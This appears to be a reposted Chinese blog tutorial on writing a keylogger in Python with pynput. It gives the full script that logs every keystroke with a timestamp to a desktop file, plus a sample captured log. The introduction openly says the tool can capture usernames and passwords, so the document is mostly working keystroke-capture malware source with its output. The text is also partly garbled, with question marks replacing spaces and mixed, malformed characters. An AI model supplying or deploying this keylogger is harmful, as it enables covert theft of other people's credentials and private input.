python键盘记录器_使用Python设计键盘记录器
在這里,我們將使用python開發(fā)鍵盤記錄程序。但是在此之前,什么是鍵盤記錄程序?鍵盤記錄器是一個程序,我們使用它來監(jiān)視擊鍵。這些擊鍵將存儲在日志文件中。我們可以使用此按鍵記錄敏感信息,例如用戶名和密碼。
為了創(chuàng)建鍵盤記錄器,我們將使用Pynput模塊。由于它不是python的標(biāo)準(zhǔn)庫,因此我們可能需要安裝它。
安裝pyxhook模塊-
我將使用pip安裝pynput-pip?install?pynput
Requirement?already?satisfied:?pynput?in?c:\python\python361\lib\site-packages?(1.4)
Requirement?already?satisfied:?six?in?c:\python\python361\lib\site-packages?(from?pynput)?(1.10.0)
要檢查我們的安裝是否成功,請嘗試將模塊導(dǎo)入python shell>>>?import?pynput
>>>
開始構(gòu)建鍵盤記錄器
安裝所需的庫后,導(dǎo)入所需的軟件包和方法。為了監(jiān)視鍵盤,我們將使用pynput.keyboard模塊的key和listener方法。我們還將使用日志記錄模塊將擊鍵記錄到文件中。from?pynput.keyboard?import?Key,?Listener
import?logging
接下來,我們將設(shè)置存儲日志文件的路徑,日志的存儲方式和格式。log_dir?=?r"C:/users/username/desktop/"
logging.basicConfig(filename?=?(log_dir?+?"keyLog.txt"),?level=logging.DEBUG,?format='%(asctime)s:?%(message)s')
然后,我們調(diào)用了on_press()函數(shù),該函數(shù)為按鍵創(chuàng)建了一個定義,并將按鍵作為參數(shù)。def?on_press(key):
logging.info(str(key))
我們要做的最后一件事是建立一個Listener實(shí)例,并在其中定義on_press方法,然后將該實(shí)例連接到主線程。with?Listener(on_press=on_press)?as?listener:
listener.join()
在結(jié)合上述步驟之后,我們處于創(chuàng)建最終程序的階段-from?pynput.keyboard?import?Key,?Listener
import?logging
log_dir?=?r"C:/users/rajesh/desktop/"
logging.basicConfig(filename?=?(log_dir?+?"keyLog.txt"),?level=logging.DEBUG,?format='%(asctime)s:?%(message)s')
def?on_press(key):
logging.info(str(key))
with?Listener(on_press=on_press)?as?listener:
listener.join()
當(dāng)我的腳本運(yùn)行時,我嘗試打開瀏覽器并鍵入“ hello world,Wikipedia”。讓我們看看我們的日志文件發(fā)生了什么-
我可以看到,在計算機(jī)桌面上創(chuàng)建了一個“ keyLog.txt”文件,如果嘗試查看其內(nèi)容,則會得到-2019-01-18?17:06:21,854:?Key.cmd
2019-01-18?17:06:22,022:?'d'
2019-01-18?17:06:39,304:?'h'
2019-01-18?17:06:39,435:?'e'
2019-01-18?17:06:39,564:?'l'
2019-01-18?17:06:39,754:?'l'
2019-01-18?17:06:39,943:?'o'
2019-01-18?17:06:40,245:?Key.space
2019-01-18?17:06:40,450:?'w'
2019-01-18?17:06:40,536:?'o'
2019-01-18?17:06:40,694:?'r'
2019-01-18?17:06:40,818:?'l'
2019-01-18?17:06:40,943:?'d'
2019-01-18?17:06:43,527:?','
2019-01-18?17:06:44,947:?Key.space
2019-01-18?17:06:45,091:?'p'
2019-01-18?17:06:45,342:?'y'
2019-01-18?17:06:45,468:?'t'
2019-01-18?17:06:45,580:?'h'
2019-01-18?17:06:45,674:?'o'
2019-01-18?17:06:45,808:?'n'
2019-01-18?17:06:45,872:?Key.space
2019-01-18?17:06:48,692:?Key.backspace
2019-01-18?17:06:48,891:?Key.backspace
2019-01-18?17:06:49,079:?Key.backspace
2019-01-18?17:06:49,223:?Key.backspace
2019-01-18?17:06:49,405:?Key.backspace
2019-01-18?17:06:49,584:?Key.backspace
2019-01-18?17:06:49,816:?Key.backspace
2019-01-18?17:06:50,004:?'w'
2019-01-18?17:06:50,162:?'i'
2019-01-18?17:06:50,392:?'k'
2019-01-18?17:06:50,572:?'i'
2019-01-18?17:06:51,395:?'p'
2019-01-18?17:06:51,525:?'e'
2019-01-18?17:06:51,741:?'d'
2019-01-18?17:06:51,838:?'i'
2019-01-18?17:06:52,104:?'a'
這樣我們可以看到我嘗試在瀏覽器中鍵入的內(nèi)容,每個按鍵都存儲在此文件中。因此,我們在這里用python創(chuàng)建了一個非常簡單的按鍵記錄器。
總結(jié)
以上是生活随笔為你收集整理的python键盘记录器_使用Python设计键盘记录器的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: kali键盘记录
- 下一篇: 恶意代码分析之简单键盘记录器